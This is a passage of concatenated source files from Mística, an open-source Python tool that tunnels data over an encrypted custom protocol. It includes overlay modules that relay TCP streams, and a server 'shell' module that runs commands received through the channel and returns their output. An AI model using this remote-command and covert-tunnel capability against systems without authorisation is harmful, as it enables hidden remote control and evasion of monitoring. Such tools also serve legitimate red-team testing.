] } def __init__(self, qsotp, mode, args, logger): ClientOverlay.__init__(self, type(self).__name__, qsotp, mode, args, logger) self.name = type(self).__name__ self.buffer = [] # Setting input capture self.hasInput = False self.id = 0 self.timeout = 1 self.started = False self.lock = Lock() # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True self.tcpthread = Thread(target=self.captureTcpStream) self.lock.acquire() if not self.wait: self.tcpthread.start() self.started = True # Overriden def parseArguments(self, args): self.port = int(args.port[0]) self.address = args.address[0] self.persist = args.persist self.wait = args.wait def captureTcpStream(self): # Create socket and connect while not self.exit: try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.address, self.port)) except Exception as e: print(e) self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) if self.lock.locked(): self.lock.release() return if self.lock.locked(): self.lock.release() while not self.exit: try: # Block on socket until Timeout result = select.select([self.socket], [], [], self.timeout) if result[0]: rawdata = self.socket.recv(4096) if rawdata and len(rawdata) > 0: self.inbox.put(Message('input', 0, 'overlay', self.id, MessageType.STREAM, rawdata)) elif not self.persist: self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay") self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return else: self.socket.close() break except: self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return return def processInputStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}") return content def processSOTPStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}") if not self.started: self.tcpthread.start() self.lock.acquire() self.started = True try: self.socket.send(content) except Exception as e: print(e) ================================================ FILE: overlay/client/tcplisten.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ClientOverlay from sys import stdout import socket from threading import Thread from utils.messaging import Message, MessageType, SignalType import select class tcplisten(ClientOverlay): NAME = "tcplisten" CONFIG = { "prog": NAME, "description": "Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.", "args": [ { "--tag": { "help": "Tag used by the overlay", "nargs": 1, "required": False, "default": ["0x1010"] } }, { "--address": { "help": "Address where the module will bind", "nargs": 1, "required": True, "action": "store" } }, { "--port": { "help": "Port where the module will bind", "nargs": 1, "required": True, "action": "store" } }, { "--persist": { "help": "Keeps the port open after closing the TCP connection", "action": "store_true" } } ] } def __init__(self, qsotp, mode, args, logger): ClientOverlay.__init__(self, type(self).__name__, qsotp, mode, args, logger) self.name = type(self).__name__ self.buffer = [] # Setting input capture self.conn = None self.hasInput = False self.id = 0 self.timeout = 1 # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True self.tcpthread = Thread(target=self.captureTcpStream) self.tcpthread.start() # Overriden def parseArguments(self, args): self.port = int(args.port[0]) self.address = args.address[0] self.persist = args.persist def captureTcpStream(self): # Create socket and listen while self.conn is None and not self.exit: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.settimeout(self.timeout) try: self.socket.bind((self.address, self.port)) self.socket.listen(0) self.conn, self.remoteaddr = self.socket.accept() except socket.timeout as te: continue # Allows to check if the application has exited to finish the thread except Exception as e: print(e) self.inbox.put(Message('input', 0, 'overlay', self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return # Empty buffered data, if any while self.buffer and not self.exit: self.conn.send(self.buffer.pop(0)) # socket loop while not self.exit: try: # Block on socket until Timeout result = select.select([self.conn], [], [], self.timeout) if result[0]: rawdata = self.conn.recv(4096) if rawdata and len(rawdata) > 0: self.inbox.put(Message('input', 0, 'overlay', self.id, MessageType.STREAM, rawdata)) elif not self.persist: self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay") self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return else: self.conn.close() self.conn = None break except: self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return def processInputStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}") return content def processSOTPStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}") if self.conn is None: self.buffer.append(content) # wait until a connection happens else: self.conn.send(content) ================================================ FILE: overlay/server/__init__.py ================================================ __all__ = ["io", "shell", "tcpconnect", "tcplisten"] ================================================ FILE: overlay/server/io.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ServerOverlay from sys import stdout class io(ServerOverlay): NAME = "io" CONFIG = { "prog": NAME, "description": "Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout", "args": [ { "--tag": { "help": "Tag used by the overlay", "nargs": 1, "required": False, "default": ["0x1010"] } } ] } def __init__(self, id, qsotp, mode, args, logger): ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger) self.name = type(self).__name__ self.buffer = [] # Setting input capture self.hasInput = True # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def processInputStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from STDIN: {len(content)}") return content def processSOTPStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to STDOUT: {len(content)}") stdout.buffer.write(content) stdout.flush() # overriden for pipe scenarios def handleInputStream(self, msg): content = self.processInputStream(msg.content) # By default, only one worker. Must be overriden for more # In a multi-worker scenario inputs must be mapped to workers if self.workers: return self.streamToSOTPWorker(content, self.workers[0].id) self.buffer.append(content) # overriden for pipe scenarios def addWorker(self, worker): if not self.workers: # empty self.workers.append(worker) # check if there's some buffered data and pass it while self.buffer: self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0), self.workers[0].id)) else: raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker") ================================================ FILE: overlay/server/shell.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ServerOverlay from subprocess import Popen,PIPE,STDOUT from platform import system class shell(ServerOverlay): NAME = "shell" CONFIG = { "prog": NAME, "description": "Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.", "args": [ { "--tag": { "help": "Tag used by the overlay at the server", "nargs": 1, "required": False, "default": ["0x1010"] } } ] } def __init__(self, id, qsotp, mode, args, logger): ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger) self.name = type(self).__name__ self.hasInput = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def processSOTPStream(self, content): data = b"" try: # Windows by default pass Popen data to CreateProcess() Winapi if system() == "Windows": commandline = "cmd /c " + str(content,"utf-8") else: commandline = str(content,"utf-8") p = Popen(commandline.split(), stdout=PIPE, stderr=STDOUT) data = p.communicate()[0] except Exception as e: self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception in shell: {str(e)}") finally: # By default, only one worker. (len(data) > 0) and self.workers[0].datainbox.put(self.streamToSOTPWorker(data,self.workers[0].id)) ================================================ FILE: overlay/server/tcpconnect.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ServerOverlay from sys import stdout import socket from threading import Thread, Lock from utils.messaging import Message, MessageType, SignalType import select class tcpconnect(ServerOverlay): NAME = "tcpconnect" CONFIG = { "prog": NAME, "description": "Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.", "args": [ { "--tag": { "help": "Tag used by the overlay", "nargs": 1, "required": False, "default": ["0x1010"] } }, { "--address": { "help": "Address where the module will connect", "nargs": 1, "required": True, "action": "store" } }, { "--port": { "help": "Port where the module will connect", "nargs": 1, "required": True, "action": "store" } }, { "--persist": { "help": "Retries the TCP connection, if closed", "action": "store_true" } }, { "--wait": { "help": "Waits until data is received through the SOTP channel to connect", "action": "store_true" } } ] } def __init__(self, id, qsotp, mode, args, logger): ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger) self.name = type(self).__name__ self.buffer = [] self.timeout = 1 self.started = False self.lock = Lock() # Setting input capture self.hasInput = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True self.tcpthread = Thread(target=self.captureTcpStream) self.lock.acquire() if not self.wait: self.tcpthread.start() self.started = True # Overriden def parseArguments(self, args): self.port = int(args.port[0]) self.address = args.address[0] self.persist = args.persist self.wait = args.wait def captureTcpStream(self): # Create socket and connect while not self.exit: try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.address, self.port)) except Exception as e: print(e) self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) if self.lock.locked(): self.lock.release() return if self.lock.locked(): self.lock.release() while not self.exit: try: # Block on socket result = select.select([self.socket], [], [], self.timeout) if result[0]: rawdata = self.socket.recv(4096) if rawdata and len(rawdata) > 0: self.inbox.put(Message('input', 0, 'overlay', self.id, MessageType.STREAM, rawdata)) elif not self.persist: self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay") self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return else: self.socket.close() break except Exception as e: self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return return def processInputStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}") return content def processSOTPStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}") if not self.started: self.tcpthread.start() self.lock.acquire() self.started = True try: self.socket.send(content) except Exception as e: print(e) # overriden for pipe scenarios def handleInputStream(self, msg): content = self.processInputStream(msg.content) # By default, only one worker. Must be overriden for more # In a multi-worker scenario inputs must be mapped to workers if self.workers: return self.streamToSOTPWorker(content, self.workers[0].id) self.buffer.append(content) # overriden for pipe scenarios def addWorker(self, worker): if not self.workers: # empty self.workers.append(worker) # check if there's some buffered data and pass it while self.buffer: self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0), self.workers[0].id)) else: raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker") ================================================ FILE: overlay/server/tcplisten.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ServerOverlay from sys import stdout import socket from threading import Thread from utils.messaging import Message, MessageType, SignalType import select class tcplisten(ServerOverlay): NAME = "tcplisten" CONFIG = { "prog": NAME, "description": "Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.", "args": [ { "--tag": { "help": "Tag used by the overlay", "nargs": 1, "required": False, "default": ["0x1010"] } }, { "--address": { "help": "Address where the module will bind", "nargs": 1, "required": True, "action": "store" } }, { "--port": { "help": "Port where the module will bind", "nargs": 1, "required": True, "action": "store" } }, { "--persist": { "help": "Keeps the port open after closing the TCP connection", "action": "store_true" } } ] } def __init__(self, id, qsotp, mode, args, logger): ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger) self.name = type(self).__name__ self.buffer = [] self.buffer2 = [] self.conn = None self.timeout = 1 # Setting input capture self.hasInput = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True self.tcpthread = Thread(target=self.captureTcpStream) self.tcpthread.start() # Overriden def parseArguments(self, args): self.port = int(args.port[0]) self.address = args.address[0] self.persist = args.persist def captureTcpStream(self): # Create socket and listen while self.conn is None and not self.exit: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.settimeout(self.timeout) try: self.socket.bind((self.address, self.port)) self.socket.listen(0) self.conn, self.remoteaddr = self.socket.accept() except socket.timeout as te: continue # Allows to check if the application has exited to finish the thread except Exception as e: print(e) self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return # Empty buffered data, if any while self.buffer2 and not self.exit: self.conn.send(self.buffer2.pop(0)) # socket loop while not self.exit: try: # Block on socket result = select.select([self.conn], [], [], self.timeout) if result[0]: rawdata = self.conn.recv(4096) if rawdata and len(rawdata) > 0: self.inbox.put(Message('input', 0, 'overlay', self.id, MessageType.STREAM, rawdata)) elif not self.persist: self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay") self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return else: self.conn.close() self.conn = None break except Exception as e: self._LOGGING_ and self.logger.debug(f"[{self.name}] Exception: {e}. Sending Terminate signal to overlay") self.inbox.put(Message('input', 0, self.name, self.id, MessageType.SIGNAL, SignalType.TERMINATE)) return return def processInputStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}") return content def processSOTPStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}") if self.conn is None: self.buffer2.append(content) # wait until a connection happens else: self.conn.send(content) # overriden for pipe scenarios def handleInputStream(self, msg): content = self.processInputStream(msg.content) # By default, only one worker. Must be overriden for more # In a multi-worker scenario inputs must be mapped to workers if self.workers: return self.streamToSOTPWorker(content, self.workers[0].id) self.buffer.append(content) # overriden for pipe scenarios def addWorker(self, worker): if not self.workers: # empty self.workers.append(worker) # check if there's some buffered data and pass it while self.buffer: self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0), self.workers[0].id)) else: raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker") ================================================ FILE: sotp/clientworker.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.core import Header,OptionalHeader,Sizes,Offsets,Status,Flags,Sync from sotp.core import Core from sotp.packet import Packet from utils.bitstring import BitArray from utils.rc4 import RC4 from utils.messaging import Message,SignalType,MessageType class ClientWorker(Core): def __init__(self, key, maxretries, maxsize, tag, overlayname, wrappername, qdata, logger=None): super().__init__(key, maxretries, maxsize) self.name = type(self).__name__ self.wait_reply = False self.sotp_first_push = False self.transceiving = False self.st = Status.NOT_INITIALIZING self.oldst = None self.sid = None self.tag = tag self.overlayname = overlayname self.wrappername = wrappername self.qdata = qdata self.seqnumber = 1 self.comms_broken = False self.exit = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # Method for checking if a packet is an initialization response. def checkInitResponse(self,packet): if any(packet.session_id) == False: return False if any(packet.seq_number) == False: return False if any(packet.ack) == False: return False if packet.isFlagActive(Flags.SYNC) == False: return False if packet.isSyncType(Sync.RESPONSE_AUTH) == False: return False return True # Method to check if a packet is a correct response from the server. def checkWorkResponse(self,packet): if any(packet.session_id) == False: return False if any(packet.seq_number) == False: return False if any(packet.ack) == False: return False if not any(packet.data_len) and not any(packet.content): return True if packet.data_len.uint != int(packet.content.length/8): return False return True # Method to check if session reinitialization is needed (because the seq_number is limited to n bytes) def checkReinitialization(self,packet): if self.lastPacketSent is None: raise Exception('Cannot get last sent packet') if self.lastPacketSent.seq_number != packet.ack: self._LOGGING_ and self.logger.error(f"[{self.name}] on checkReinitialization() ack: {packet.ack} != seq: {self.lastPacketSent.seq_number}") return False if self.lastPacketSent.seq_number.uint != (Sizes.MAX_MESSAGES-1): return False self._LOGGING_ and self.logger.info(f"[{self.name}] Reinitialization is needed!") return True # functionality will be implemented in the future def checkForStop(self,packet): return True # Method for generating an initialization packet # The overlay tag to be used is added to the data field def generateInitPacket(self): p = Packet() p.session_id = BitArray(bin='0'*Header.SESSION_ID) p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = BitArray(bin='0'*Header.ACK) p.data_len = BitArray(uint=len(self.tag),length=Header.DATA_LEN) p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS) p.optional_headers = True p.sync_type = BitArray(uint=Sync.REQUEST_AUTH,length=OptionalHeader.SYNC_TYPE) p.content = BitArray(bytes=BitArray(hex=self.tag).bytes, length=Sizes.TAG) return p # Method for generating a polling request packet def generatePollPacket(self,packt): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packt.seq_number p.data_len = BitArray(bin='0'*Header.DATA_LEN) p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS) p.optional_headers = True p.sync_type = BitArray(uint=Sync.POLLING_REQUEST,length=OptionalHeader.SYNC_TYPE) p.content = BitArray() return p # Method that generates a response packet to a session termination request def generateTermResponsePacket(self,packt): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packt.seq_number p.data_len = BitArray(bin='0'*Header.DATA_LEN) p.flags = BitArray(bin='0'*Header.FLAGS) p.sync_type = BitArray() p.content = BitArray() return p # Method that generates a session reintialization packet def generateReintializationPacket(self,packt): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packt.seq_number p.data_len = BitArray(bin='0'*Header.DATA_LEN) p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS) p.optional_headers = True p.sync_type = BitArray(uint=Sync.REINITIALIZING,length=OptionalHeader.SYNC_TYPE) p.content = BitArray() return p # Method to generate a session termination request packet def generateTerminatePacket(self,packt): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packt.seq_number p.data_len = BitArray(bin='0'*Header.DATA_LEN) p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS) p.optional_headers = True p.sync_type = BitArray(uint=Sync.SESSION_TERMINATION,length=OptionalHeader.SYNC_TYPE) p.content = BitArray() return p # Method to generate a transfer packet (with data from the overlay). def generateTransferPacket(self,packt,content,push): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packt.seq_number p.data_len = BitArray(uint=len(content),length=Header.DATA_LEN) if push: p.flags = BitArray(uint=Flags.PUSH,length=Header.FLAGS) else: p.flags = BitArray(bin='0'*Header.FLAGS) p.sync_type = BitArray() p.content = BitArray(bytes=content) return p # Method to generate a confirmation packet def generateAckPacket(self,packt): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packt.seq_number p.data_len = BitArray(bin='0'*Header.DATA_LEN) p.flags = BitArray(bin='0'*Header.FLAGS) p.sync_type = BitArray() p.content = BitArray() return p # Method that generates a polling packet based on the last packet received def getPollRequest(self): if self.lastPacketRecv is None: self._LOGGING_ and self.logger.error(f"[{self.name}] Any previous Packet Received in getPollRequest()") raise Exception("Any previous Packet Received in getPollRequest()") packettosend = self.generatePollPacket(self.lastPacketRecv) self.storePackets(None,packettosend) return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())] # Method that updates the reference to the last package sent and/or received. def storePackets(self,packetrecv,packetsent): if packetsent is not None: self._LOGGING_ and self.logger.debug(f"[{self.name}] Storing Sent Packet sq:{packetsent.seq_number} ack:{packetsent.ack}") self.lastPacketSent = packetsent if packetrecv is not None: self._LOGGING_ and self.logger.debug(f"[{self.name}] Storing Recv Packet sq:{packetrecv.seq_number} ack:{packetrecv.ack}") self.lastPacketRecv = packetrecv # Method that receives the Initialization Response, sets the session_id (from response packet) # and sends the overlay data, if it doesn't have it, simply generate a Polling Request packet. def doInitialize(self,packet): if self.sid is None: self.sid = packet.session_id packettosend = None if self.someOverlayData(): self._LOGGING_ and self.logger.debug(f"[{self.name}] detected Overlay data in doInitialize()") packettosend = self.makeTransferPacket(packet) self.transceiving = True else: self._LOGGING_ and self.logger.debug(f"[{self.name}] generating Polling Request") packettosend = self.generatePollPacket(packet) self.transceiving = False self.wait_reply = True self.storePackets(packet,packettosend) self.st = Status.WORKING return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())] # Method that manages Polling Responses, Confirmations and Data Transfer packets # Data transfers can be full duplex def doWork(self,packet): response = [] packettosend = None if packet.anyContentAvailable(): self.extractIncomingData(packet) if packet.isFlagActive(Flags.PUSH): data_decrypt = self.decryptWrapperData() response.append(Message("clientworker",0,self.overlayname,0,MessageType.STREAM,data_decrypt)) if self.someOverlayData(): packettosend = self.makeTransferPacket(packet) response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())) else: packettosend = self.generatePollPacket(packet) response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())) else: if self.someOverlayData(): packettosend = self.makeTransferPacket(packet) response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())) else: packettosend = self.generateAckPacket(packet) response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())) self.wait_reply = True self.transceiving = True else: if self.someOverlayData(): packettosend = self.makeTransferPacket(packet) response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())) self.wait_reply = True self.transceiving = True else: self.wait_reply = False self.transceiving = False self.storePackets(packet,packettosend) return response # Method that extracts data (if any) from a packet received from the server (by full-duplex). def extractIncomingData(self,packet): if any(packet.data_len) == False or any(packet.content) == False: return self.bufWrapper.addChunk(packet) return # Method of starting a data transfer def makeTransferPacket(self,packet): response = None chunk, push = self.bufOverlay.getChunk() transpacket = self.generateTransferPacket(packet,chunk,push) response = transpacket if push and not self.bufOverlay.anyIndex(): self.sotp_first_push = True self.lastPacketSent = transpacket return response # Method that responds to a server termination request def doTermination(self,packet): termpacket = self.generateTermResponsePacket(packet) self.st = Status.TERMINATING self.storePackets(packet,termpacket) return [ Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_FINISHED), Message("clientworker",0,self.wrappername,0,MessageType.STREAM,termpacket.toBytes()) ] # Method that performs the session reinitialization process def doReintialization(self,packt): repackt = self.generateReintializationPacket(packt) self.oldst = self.st self.st = Status.REINITIALIZING self.storePackets(packt,repackt) self.seqnumber=0 return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,repackt.toBytes())] # functionality will be completed in the future def initializeStop(self,packt): stopackt = self.generateTerminatePacket(packt) self.st = Status.TERMINATING self.storePackets(packt,stopackt) return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,stopackt.toBytes())] # Method that resets the previous state after a session reinitialization. def resetSession(self,packet): response = [] self.st = self.oldst packettosend = None if self.someOverlayData(): self._LOGGING_ and self.logger.debug(f"[{self.name}] Overlay data detected, making transfer packet...") packettosend = self.makeTransferPacket(packet) response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())) self.wait_reply = True self.transceiving = True else: self._LOGGING_ and self.logger.debug(f"[{self.name}] No overlay data, waiting...") self.wait_reply = False self.transceiving = False self.storePackets(packet,packettosend) return response # Method used to resend the previous package, if it has not exceeded the maximum number of retries, # otherwise, loss of communication is reported def lookForRetries(self): if self.checkForRetries(): self._LOGGING_ and self.logger.error(f"[{self.name}] exceeded the maximum number of retries") self.comms_broken = True return [Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_BROKEN)] else: packt = self.lostPacket() self.storePackets(packt,packt) return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packt.toBytes())] # Trigger method that performs the checks associated with each function and then invokes it # by returning a response. def initialChecks(self,data,checkerFunc,nextFunc): try: p = self.transformToPacket(data.content) if self.st != Status.REINITIALIZING and self.checkReinitialization(p): self._LOGGING_ and self.logger.debug(f"[{self.name}] Reinitialization Request Packet detected") return self.doReintialization(p) if self.checkTermination(p): self._LOGGING_ and self.logger.debug(f"[{self.name}] Termination Request Packet detected") return self.doTermination(p) if checkerFunc(p) == False: self._LOGGING_ and self.logger.error(f"[{self.name}] {str(checkerFunc)} has failed, re-sending...") return self.lookForRetries() if self.checkConfirmation(p) == False: self._LOGGING_ and self.logger.error(f"[{self.name}] checkConfirmation has failed, lpks: {self.lastPacketSent.seq_number} != ack: {p.ack}") return self.lookForRetries() return nextFunc(p) except Exception as e: self._LOGGING_ and self.logger.exception(f"[{self.name}] initialChecks Exception: {e}") return [Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.ERROR)] # Method that processes data from the Wrapper (messages/packets from the server). def wrapperProcessing(self, data): self._LOGGING_ and self.logger.debug(f"[{self.name}] Processing data from Wrapper. Status: {self.st}") if self.st == Status.INITIALIZING: return self.initialChecks(data,self.checkInitResponse,self.doInitialize) elif self.st == Status.WORKING: return self.initialChecks(data,self.checkWorkResponse,self.doWork) elif self.st == Status.TERMINATING: self.st = Status.NOT_INITIALIZING return [Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_FINISHED)] elif self.st == Status.REINITIALIZING: self._LOGGING_ and self.logger.debug(f"[{self.name}] About to reset session") return self.initialChecks(data,self.checkWorkResponse,self.resetSession) elif self.st == Status.STOPING: return self.initialChecks(data,self.checkForStop,self.initializeStop) else: self._LOGGING_ and self.logger.error(f"[{self.name}] Invalid status on Wrapper Processing: {self.st}") raise Exception(f"Invalid status on Wrapper Processing: {self.st}") # Method that processes the data from the overlay and stores it in its buffer. def overlayProcessing(self, data): self._LOGGING_ and self.logger.debug(f"[DataThread] {data.sender} sent {len(data.content)} bytes of data, storing...") self.storeOverlayContent(data.content) if self.sid and not self.wait_reply and not self.transceiving: return Message("datathread",0,"clientworker",0,MessageType.SIGNAL,SignalType.BUFFER_READY) return # A method (running on a thread) that receives the data from the overlay, encrypts it, # chunks it and saves it parallel to the mistica client loop. def dataEntry(self,qsotp): while True: data = self.qdata.get() if data.isTerminateMessage() and data.sender == "clientworker": break msg = self.overlayProcessing(data) if msg is not None: qsotp.put(msg) # Entry point for data messages received by the sotp of the wrapper def streamEntry(self, data): if data.sender == self.wrappername: self.retries = 0 self._LOGGING_ and self.logger.debug(f"[{self.name}] Header Recv: {data.printHeader()}") return self.wrapperProcessing(data) else: self._LOGGING_ and self.logger.error(f"[{self.name}] Invalid sender on streamEntry {data.sender} not [{self.overlayname}||{self.wrappername}]") raise Exception(f"Invalid sender on streamEntry {data.sender} wait {self.wrappername}") # Entry point for signal messages received by the sotp of the wrapper and/or overlay def signalEntry(self, data): response = [] if data.isTerminateMessage(): self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal terminate") if self.lastPacketRecv and self.sid: termpacket = self.generateTerminatePacket(self.lastPacketRecv) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() coms active, so sending a termination request") not self.comms_broken and response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,termpacket.toBytes())) response.append(Message("clientworker",0,self.wrappername,0,MessageType.SIGNAL,SignalType.TERMINATE)) self.qdata.put(Message("clientworker",0,'datathread',0,MessageType.SIGNAL,SignalType.TERMINATE)) self.exit = True elif self.st == Status.NOT_INITIALIZING and data.isStartMessage(): 